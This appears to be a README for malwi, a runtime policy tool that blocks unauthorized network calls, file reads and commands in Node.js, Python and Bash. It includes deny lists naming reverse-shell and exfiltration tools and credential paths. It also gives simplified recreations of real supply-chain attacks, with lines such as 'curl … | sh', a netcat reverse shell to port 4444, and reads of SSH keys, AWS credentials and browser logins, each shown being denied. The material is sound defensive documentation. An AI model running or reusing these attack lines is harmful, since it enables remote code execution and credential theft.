ComfyUI βΒ·β
npm-install βΒ·β
pip-install βΒ·β
bash-execution
Advanced cyberattacks threaten critical infrastructure, digital sovereignty, and the freedom of societies. Campaigns like the Shai-Hulud npm attacks (2025) demonstrated how simple it is to misuse the trust in open-source software. malwi hooks into any Node.js, Python, or Bash process to block unauthorized network calls, file access, and command execution at runtime. It injects a tracing agent into your existing runtime β no source changes or custom interpreters required.
Compatibility: Python 3.10-3.14 Β· Node.js 21-25 Β· Bash 4.4-5.3 Β· macOS arm64, arm64e (Linux arm64, x86_64
pip install --user malwi
Or download a prebuilt binary from the latest release.
malwi wraps any command β it injects a tracing agent into the process and enforces a policy on network calls, file access, commands, and function calls:
malwi x node -e "fetch('https://canvascomputing.org/api/data')"
malwi x python -c "import os; os.getenv('MISTRAL_API_KEY')"
malwi x bash -c 'cat ~/.ssh/id_rsa'Write policies in YAML to control what runs inside a process. Each section targets a different attack surface β network, commands, files, environment variables, or runtime functions. Rules can allow, deny, warn, or prompt for review.
See POLICY.md for the full specification.
$ malwi x -p policy.yaml -- node app.jsLock down outbound traffic to known hosts. The catch-all */** denies everything else; protocols restricts to HTTPS only.
network:
allow: ["api.canvascomputing.org/**", "registry.npmjs.org/**"]
deny: ["169.254.169.254/**", "*/**"]
protocols: [https]Block tools commonly used for reverse shells and data exfiltration. review pauses and prompts before allowing.
commands:
allow: [node, git, npm]
deny: [curl, wget, nc, ncat, ssh, crontab, base64]
warn: [docker, pip]
review: [sudo]Protect credentials and private keys from being read by untrusted code.
files:
deny: ["~/.ssh/**", "~/.aws/**", "*.pem", "*.key"]Prevent secrets from being read out of the environment.
envvars:
deny: ["*SECRET*", "*PASSWORD*", "AWS_*"]
warn: ["*TOKEN*", "*API_KEY*"]Control runtime-specific functions β block dangerous APIs, log the ones you want visibility into.
nodejs:
deny: [eval, child_process.exec, child_process.execSync]
log: [fetch, http.request, https.request]
python:
deny: [ctypes.CDLL, os.system, os.popen]
warn: [subprocess.run, subprocess.Popen.__init__]
symbols:
deny: [getpass, crypt, dlopen, syscall]When malwi detects a known command, it automatically applies a tailored policy. The policy file is written to ~/.config/malwi/policies/ on first use β edit it to customise.
Upscaler-4K (Oct 2024) was a malicious custom node (779 installs) that downloaded a stealer binary to exfiltrate browser data and Discord tokens:
# simplified recreation of the Upscaler-4K attack
import urllib.request, os
urllib.request.urlopen("https://canvascomputing.org/payload")
os.system("./stealer --exfil")
open(os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data")).read()
os.getenv("DISCORD_TOKEN")Running ComfyUI under malwi blocks every stage:
$ malwi x python main.py
[malwi] denied: urllib.request.urlopen(url='https://canvascomputing.org/payload', ...) malicious_node.py:3
[malwi] denied: os.system(cmd='./stealer --exfil') malicious_node.py:4
[malwi] denied: open('~/Library/Application Support/Google/Chrome/Default/Login Data', 'r') malicious_node.py:5
[malwi] denied: DISCORD_TOKEN
warbeast2000 and kodiak2k (Jan 2024) were malicious npm packages that exfiltrated SSH keys from developers' machines via postinstall scripts:
// simplified recreation of an npm supply chain attack
const { exec } = require("child_process");
const fs = require("fs");
exec("curl canvascomputing.org/demo | sh");
fs.readFileSync(process.env.HOME + "/.ssh/id_rsa");Running npm install under malwi catches the shell-out and file access:
$ malwi x npm install
[malwi] denied: curl canvascomputing.org/demo | sh
[malwi] denied: fs.readFileSync("~/.ssh/id_rsa") postinstall.js:4
Ultralytics (Dec 2024) was a compromised ML library (68M+ downloads) that deployed a crypto miner and exfiltrated environment variables via setup.py:
# simplified recreation of a PyPI supply chain attack
import os
os.system("curl canvascomputing.org/demo | sh")
open(os.path.expanduser("~/.aws/credentials")).read()Running pip install under malwi blocks the shell-out and credential access:
$ malwi x pip install malicious-package
[malwi] denied: os.system(cmd='curl canvascomputing.org/demo | sh') setup.py:3
[malwi] denied: open('~/.aws/credentials', 'r') setup.py:4
perfctl (2024) was a cryptomining malware that infected thousands of Linux servers via curl-piped bash scripts, establishing cron persistence and deploying rootkits:
# simplified recreation of a malicious install script
nc canvascomputing.org 4444 -e /bin/sh
crontab -l
cat ~/.ssh/id_rsaPiping through malwi blocks every command:
$ curl -fsSL canvascomputing.org/install-demo.sh | malwi x bash
[malwi] denied: nc canvascomputing.org 4444 -e /bin/sh install.sh:2
[malwi] denied: crontab -l install.sh:3
[malwi] denied: cat ~/.ssh/id_rsa install.sh:4
malwi injects an agent library (DYLD_INSERT_LIBRARIES / LD_PRELOAD) into the target process. The agent hooks function calls across all runtimes and streams them to the CLI over TCP. The CLI evaluates each call against the policy and blocks, warns, or allows it. Tracing propagates to child processes.
ββββββββββββββββββββββββββββββββββββββββ
β malwi CLI β
β receive events β policy β verdict β
ββββββ¬ββββββββββββββββββββββ²ββββββββββββ
β inject β TCP
βΌ β
ββββββββββββββββββββββββββββββββββββββββ
β Target Process β
β Agent hooks: β
β Python Β· Node.js Β· Bash Β· Native β
ββββββββββββββββββββββββββββββββββββββββ
macOS SIP prevents DYLD_INSERT_LIBRARIES from loading into binaries under certain paths.
Security researchers may disable SIP at their own risk.
| SIP | Paths |
|---|---|
β
malwi works here |
/usr/local, /opt, ~ |
/System, /usr, /bin, /sbin, /var, /Applications |
To report a vulnerability, email security@canvascomputing.org. See SECURITY.md for details.
A full dependency listing is automatically regenerated on every build when Cargo.lock or package-lock.json change. See DEPENDENCIES.md.
See DEVELOPMENT.md.
